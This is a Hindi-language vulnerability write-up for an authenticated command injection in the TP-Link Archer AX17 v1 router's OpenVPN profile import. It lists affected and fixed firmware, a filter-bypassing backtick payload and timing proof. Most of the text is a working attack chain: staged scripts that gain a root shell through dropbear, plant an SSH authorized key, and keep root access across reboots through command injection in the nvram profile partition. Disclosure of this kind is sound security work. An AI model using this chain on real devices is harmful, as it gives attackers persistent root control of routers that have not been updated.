
TP-Link Archer AX17 v1 VPN क्लाइंट इम्पोर्ट में प्रमाणित OS कमांड इंजेक्शन।
Archer AX17 v1 VPN क्लाइंट इम्पोर्ट में प्रमाणित OS कमांड इंजेक्शन।
LAN पर एक एडमिन OpenVPN क्लाइंट प्रोफ़ाइल इम्पोर्ट करता है। प्रोफ़ाइल विवरण को फ़ाइलनाम /etc/openvpn/<des>.ovpn के रूप में संग्रहीत किया जाता है। उस प्रोफ़ाइल को पढ़ने पर पथ /tmp/ovpn_curr_edit में लिखा जाता है। अगली VPN राइट में, बिना कोई अपलोड स्टेज किए, उस पथ को बिना कोट के grep और sed को दिया जाता है, जिन्हें वेब सर्वर root के रूप में चलाता है।
विवरण फ़िल्टर /, ;, |, और स्पेस को अस्वीकार करता है, और स्ट्रिंग को 64 अक्षरों तक सीमित रखता है। बैकटिक्स पास हो जाते हैं, इसलिए पेलोड S`sleep${IFS}1` है। ${IFS} के माध्यम से कमांड को उसका स्पेस मिलता है।
| प्रभावित | Archer AX17 v1, फ़र्मवेयर 1.1.28 P1 [20250523-rel65103], और फ़िक्स से पहले के बिल्ड |
| फ़िक्स्ड | 1.5.0 Build 20260605 |
| एक्सेस | LAN पर एडमिन सत्र। लॉगिन से पहले पहुँच योग्य नहीं। |
| प्रभाव | Root कमांड निष्पादन |
poc.js पेस्ट करें।await poc(0) चलाएँ, फिर await poc(1)।poc(0) कुछ सौ मिलीसेकंड में लौटता है। poc(1) लगभग एक सेकंड अधिक लेता है। यही अंतर root के रूप में चल रहा sleep 1 है। स्क्रिप्ट अपने द्वारा बनाई गई प्रोफ़ाइल को हटा देती है।
1.1.28 पर परीक्षण किया गया। 324 ms के कंट्रोल की तुलना में poc(1) 1238 ms, poc(3) 3504 ms, poc(7) 7204 ms था।
इंजेक्शन root के रूप में चलता है, इसलिए यह dropbear शुरू कर सकता है। इस बिल्ड के बारे में दो बातें महत्वपूर्ण हैं:
-L ("Enable SSH session login") आवश्यक है। इसके बिना dropbear प्रमाणीकरण करता है और फिर हर शेल अनुरोध का उत्तर exec request failed से देता है।/etc एक ramfs है। rc.local, /etc/shadow और /etc/dropbear/authorized_keys हर बूट पर squashfs से पुनर्निर्मित होते हैं। केवल nvram पार्टीशन ही स्थायी रहते हैं।इससे यह एक अस्थायी और एक स्थायी विधि में विभाजित हो जाता है।
ssh-temp.js में दो कॉल हैं:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() dropbear को web-account मोड में शुरू करता है। राउटर एडमिन पासवर्ड से लॉग इन करें:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
वह शेल uid 1000 (admin) है, root नहीं, और /etc में नहीं लिख सकता। एस्केलेट करने के लिए, उसके ऊपर ssh-root.sh को /tmp/r पर स्टेज करें:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
फिर कंसोल से runStaged('r') कॉल करें। इंजेक्शन स्क्रिप्ट को uid 0 के रूप में चलाता है, /etc/dropbear/authorized_keys लिखता है, और dropbear -L -p 2227 शुरू करता है। (runStaged ${PWD%www} से /tmp/<name> बनाता है क्योंकि वेब बैकएंड की कार्यशील डायरेक्टरी /www है।) कनेक्ट करें:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
यह अगले रीबूट तक बना रहता है।
ssh-persist.sh को root के रूप में चलाएँ (जैसे अस्थायी root शेल के माध्यम से)। यह nvram profile पार्टीशन में एक rc.local जोड़ता है। S10boot उस पार्टीशन को /etc में पुनर्स्थापित करता है इससे पहले कि S95done /etc/rc.local चलाए, इसलिए कमांड हर बूट पर चलते हैं।
पार्टीशन एक एन्क्रिप्टेड, लाइन-उन्मुख uci XML है। <dir> /etc/<dir> बनाता है, <file> /etc/<dir>/<file> बनाता है, और टैग नाम option के बाद शब्दशः लिखा जाता है। इसलिए ; से शुरू होने वाला टैग rc.local में इस प्रकार पहुँचता है
option ;<command> # 'x'
जो <command> को root के रूप में चलाता है। स्क्रिप्ट वेंडर के profile.d ब्लॉक को संरक्षित रखती है और लिखती है:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
रीबूट के बाद, root SSH उसी कुंजी के साथ पोर्ट 22 पर है। पहले पार्टीशन का बैकअप लें; स्क्रिप्ट बैकअप पथ और रिस्टोर कमांड प्रिंट करती है।
नोट: इस फ़र्मवेयर पर chpasswd मौजूद नहीं है। इससे root पासवर्ड सेट करने का प्रयास न करें; authorized_keys (जैसा ऊपर) या passwd का उपयोग करें।